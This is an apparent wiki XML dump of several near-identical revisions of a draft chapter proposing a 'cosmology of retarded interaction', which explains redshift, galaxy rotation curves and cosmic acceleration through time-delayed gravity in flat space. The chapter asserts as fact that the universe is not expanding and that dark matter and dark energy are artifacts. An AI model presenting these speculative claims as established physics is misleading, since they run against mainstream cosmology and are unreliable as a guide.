In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of the kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanded space || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>gzg9f1eagzdpt1m6ll36vqbwdq7r1sb</sha1>
    </revision>
    <revision>
      <id>4670601</id>
      <parentid>4670600</parentid>
      <timestamp>2026-09-17T09:24:24Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <minor />
      <comment>/* Comparison with the standard model of cosmology */ expanding spacetime</comment>
      <origin>4670601</origin>
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      <format>text/x-wiki</format>
      <text bytes="10465" sha1="a79atbzw6ytul5ffli2veuo0i2fucxo" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of space. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of the kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>a79atbzw6ytul5ffli2veuo0i2fucxo</sha1>
    </revision>
    <revision>
      <id>4670603</id>
      <parentid>4670601</parentid>
      <timestamp>2026-09-17T09:25:49Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <minor />
      <comment>/* Comparison with the standard model of cosmology */ a</comment>
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      <text bytes="10463" sha1="c1mxizs14fjtz2cu2i1sthhj6jyqf72" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of space. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>c1mxizs14fjtz2cu2i1sthhj6jyqf72</sha1>
    </revision>
    <revision>
      <id>4670605</id>
      <parentid>4670603</parentid>
      <timestamp>2026-09-17T09:30:17Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <minor />
      <comment>/* The apparent expansion */ spacetime</comment>
      <origin>4670605</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10471" sha1="dbvy4te48i2wxcsgscgz9wbaotutg0q" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent expansion ====
In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the cosmology of retarded interaction.

In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model of cosmology ===
The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model of cosmology (GR / ΛCDM) !! cosmology of retarded interaction (CRI)
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || No, gravitation is a force
|-
| Homogenity || Ad-hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe
|-
| Isotropy || Ad-hoc assumption, cosmological principle || Only from the centre of a kinematic universe
|-
| Copernican principle || Ad-hoc assumption || Milky Way in Local Group near the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials
|-
| Rotation curves of spiral galaxies || Ad-hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter
|-
| High-redshift objects || Ad-hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell 
|-
| Geometry || Dynamic differential geometry|| Static Euclidean geometry
|-
| Spacetime || Curved space || Minkowski space
|}

=== Summary ===
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The cosmology of retarded interaction consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to General Relativity.</text>
      <sha1>dbvy4te48i2wxcsgscgz9wbaotutg0q</sha1>
    </revision>
    <revision>
      <id>4670606</id>
      <parentid>4670605</parentid>
      <timestamp>2026-09-17T09:34:30Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>/* A replacement for dark matter */ which is even changing over time</comment>
      <origin>4670606</origin>
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      <format>text/x-wiki</format>
      <text bytes="10504" sha1="bc530l5hiq4v39zqfh87ej6l296f2c1" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Gravitational redshift|Conclusion}}
&lt;/noinclude&gt;

== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the General Theory of Relativity explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of retarded interaction ===
Established physics is based on three pillars, which are used to build the cosmology of retarded interaction:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity, but without the curvature of spacetime.
